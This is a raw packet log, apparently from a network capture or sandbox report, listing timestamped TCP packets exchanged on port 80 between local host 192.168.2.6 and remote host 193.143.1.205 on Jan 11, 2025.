Jan 11, 2025 08:58:29.648214102 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.648256063 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.648266077 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.648297071 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.680252075 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.680316925 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.680339098 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.680366993 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.680402040 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.680418015 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.680435896 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.680476904 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.680488110 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.680521965 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.680555105 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.680567980 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.680589914 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.680624962 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.680634975 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.680670977 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.680704117 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.680716038 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.680737019 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.680783033 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.680855989 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.680907011 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.680938959 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.680948019 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.681049109 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.681081057 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.681090117 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.681116104 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.681155920 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.681385994 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.681437969 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.681473970 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.681483030 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.681508064 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.681541920 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.681555986 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.681575060 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.681610107 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.681613922 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.681724072 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.681756973 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.681768894 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.681791067 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.681823015 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.681829929 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.681855917 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.681895971 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.682161093 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.682214975 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.682249069 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.682255030 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.682385921 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.682420015 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.682430029 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.682456017 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.682491064 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.682502985 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.682542086 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.682574987 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.682584047 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.682607889 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.682641983 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.682648897 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.682676077 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.682718039 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.683190107 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.683223963 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.683262110 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.683264971 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.683351994 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.683383942 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.683398962 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.683417082 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.683453083 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.683455944 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.683507919 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.683549881 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.683557034 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.683590889 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.683623075 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.683636904 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.683656931 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.683693886 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.684016943 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.684068918 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.684102058 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.684118986 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.684200048 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.684231997 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.684240103 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.684266090 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.684300900 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.684307098 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.684380054 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.684412956 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.684423923 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.684582949 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.684617043 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.684626102 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.684652090 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.684696913 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.684979916 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.685029984 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.685064077 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.685069084 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.685097933 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.685139894 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.685179949 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.685214996 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.685247898 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.685259104 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.685329914 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.685363054 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.685365915 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.685395956 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.685429096 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.685436964 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.685463905 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.685506105 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.685868979 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.685920954 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.685952902 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.685962915 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.686042070 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.686074972 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.686089039 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.686109066 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.686141968 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.686150074 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.686177015 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.686212063 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.686218977 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.705410957 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.705463886 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.705504894 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.705514908 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.705549002 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.705564022 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.705584049 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.705616951 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.705631971 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.705650091 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.705692053 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.737539053 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.737607956 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.737641096 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.737658024 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.737674952 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.737718105 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.737740993 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.737775087 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.737816095 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.737826109 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.737859011 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.737900019 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.738876104 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.738905907 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.738950014 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.738955975 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.738991976 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.739023924 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.739033937 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.739079952 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.739114046 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.739121914 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.739244938 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.739279985 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.739286900 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.739348888 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.739382982 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.739392042 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.739562988 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.739597082 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.739615917 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.739648104 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.739680052 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.739691019 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.739713907 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.739754915 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.771311045 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.771358013 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.771406889 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.771406889 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.771457911 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.771492958 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.771497011 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.771526098 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.771559954 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.771573067 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.771594048 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.771631002 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.771728039 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.771776915 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.771811008 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.771815062 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.771924973 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.771966934 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.771994114 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.772028923 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.772062063 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.772068024 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.772095919 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.772133112 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.772228003 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.772305012 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.772337914 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.772344112 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.772456884 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.772495031 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.772501945 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.772528887 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.772571087 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.772579908 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.772620916 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.772654057 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.772666931 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.772690058 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.772718906 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.772732973 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.773175001 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.773216963 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.773222923 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.773258924 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.773276091 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.773298025 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.773309946 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.773344040 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.773353100 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.773380995 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.773422003 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.773518085 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.773550034 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.773581982 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.773587942 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.773616076 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.773649931 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.773654938 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.774060965 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.774106026 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.774108887 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.774142981 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.774190903 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.774207115 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.774239063 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.774271965 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.774286032 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.774307013 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.774342060 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.774406910 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.774440050 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.774473906 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.774476051 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.774507999 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.774542093 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.774543047 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.774981022 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.775015116 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.775022030 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.775051117 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.775089025 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.775134087 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.775166988 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.775198936 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.775206089 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.775233984 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.775268078 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.775276899 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.775300026 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.775346994 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.775355101 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.775444984 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.775489092 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.775492907 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.775914907 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.775948048 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.775962114 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.775980949 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.776022911 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.776031971 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.776063919 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.776104927 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.776113033 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.776113987 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.776156902 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.776200056 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.776237011 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.776268959 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.776274920 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.776302099 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.776336908 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.776340961 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.776772022 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.776813030 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.776823044 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.776855946 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.776891947 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.776907921 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.776941061 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.776974916 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.776978016 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.777012110 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.777054071 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.804985046 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.805032969 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.805092096 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.805098057 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.805128098 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.805161953 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.805176020 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.805195093 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.805227041 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.805241108 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.805262089 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.805294037 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.805310011 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.805331945 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.805377007 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.022876024 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.022975922 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.179336071 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.184274912 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.184300900 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.184313059 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.184335947 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.207302094 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.212145090 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.212177038 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.212186098 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.212199926 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.212236881 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.212347031 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.212358952 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.212369919 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.212408066 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.212438107 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.212450981 CET	80	49711	193.143.1.205	192.168.2.6
